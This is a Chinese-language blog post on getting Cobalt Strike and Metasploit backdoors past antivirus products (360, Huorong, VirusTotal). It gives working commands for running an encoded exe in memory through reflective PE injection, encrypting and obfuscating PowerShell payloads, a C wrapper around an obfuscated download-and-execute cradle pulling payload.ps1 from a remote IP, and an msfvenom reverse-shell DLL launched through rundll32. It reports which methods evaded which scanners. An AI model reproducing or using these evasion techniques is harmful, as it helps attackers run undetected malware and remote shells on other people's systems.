InputObject $Base64String
这个ps1文件的意思是将exe转换为二进制文件
import-module .\Convert-BinaryToString.ps1
Convert-BinaryToString .\artifact.exe >>1.txt \\如果执行不了要加绝对路径
新建一个payload.ps1
,内容如下,需要替换里面1.txt的内容和Invoke-ReflectivePEInjection
内容。
# Your base64 encoded binary
$InputString = '...........' #上面1.txt的内容
function Invoke-ReflectivePEInjection #Invoke-ReflectivePEInjection的内容
......
......
......
# Convert base64 string to byte array
$PEBytes = [System.Convert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
然后在目标机器执行powershell -ExecutionPolicy Bypass -File payload.ps1
即可。
360火绒都过不了,Invoke-ReflectivePEInjection
这个知名度挺高的,VirusTotal
ps1文件免杀
cs生成了一个ps1的后门脚本,先上传上去看看,令我意外的是360居然没有报毒,运行也直接上线了,但火绒还是爆毒了
VirusTotal
使用Out-EncryptedScript加密
使用Out-EncryptedScript.ps1
Import-Module .\Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .\payload.ps1 -Password tidesec -Salt lry123
默认会生成的evil.ps1
文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解
[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de tidesec lry123
Invoke-Expression $decrypted
成功上线,且火绒和360都没爆毒
但VirusTotal上检测的效果却没这么好
使用xencrypt加密
xencrypt.ps1
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile .\payload.ps1 -OutFile payload1.ps1 -Iterations 88
但是过了360还是没能过火绒
VirusTotal效果倒是很好
C程序中执行powershell
这个执行方式也是比较简单,在C代码里执行powershell。
编译为exe文件
#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://192.168.200.64/payload.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);");
return 0;
但火绒和360都过不了
反而直接执行命令不会被拦截
powershell IEX (New-Object Net.WebClient).DownloadString(''http://192.168.200.64/payload.ps1'')
拿去VirusTotal,效果反而是最好的
Invoke-Obfuscation-master
在测试一下我之前靶机试过的免杀
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
导入之后设置要免杀的ps1脚本路径
set scriptpath path
选择编码混淆ENCODING
看到有八种编码方式,每个都试试看
out 1.ps1
直接说结果吧
1、ASCII 过360没过火绒 virustotal 5/57
2、Hex 过360没过火绒 virustotal 5/55
3、Octal 过360没过火绒 virustotal 5/56
4、Binary 过360没过火绒 virustotal 2/56
5、SecureString 过360没过火绒
6、BXOR 过360没过火绒 virustotal 5/56
7、Special Characters 过360火绒 virustotal0/56(强)
8、Whitespace 过360没过火绒 virustotal 1/56
说一下使用这个工具遇到的问题,一开始我连续生成了四个免杀后的ps1文件,到第五个的时候就变得很久,我还以为是文件太大的原因,可是生成之后的ps1文件也用不了,到了第二天一打开就能秒生成,加上我之前靶机也遇到这样的问题,再加上后面试验,发现这个工具编码免杀的时候还不能一次全部生成,最好生成一个再重新打开生成另一个,不知道是不是就我遇到这种情况
rundll32.exe
再介绍一种bypass的方法,msf或cs生成dll后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f dll >shell.dll
运行dll
C:\Windows\System32\rundll32.exe artifact.dll,Start
360没有报毒,成功上线,但是过了一会还是被杀了
火绒直接报毒
但是,使用加壳签名之后的dll,360火绒全过
还可以结合别的免杀方法,这里就不测试了
测试下来后发现:360对exe的文件比较敏感,火绒则对ps1文件敏感。遇到不同的杀软可以针对性的选择,也可以通过多种免杀方式结合。以后遇到别的免杀方法后续再补充,水文一篇大神见笑
本文来自博客园,作者:1_Ry,转载请注明原文链接:https://www.cnblogs.com/1-Ry/p/15547701.html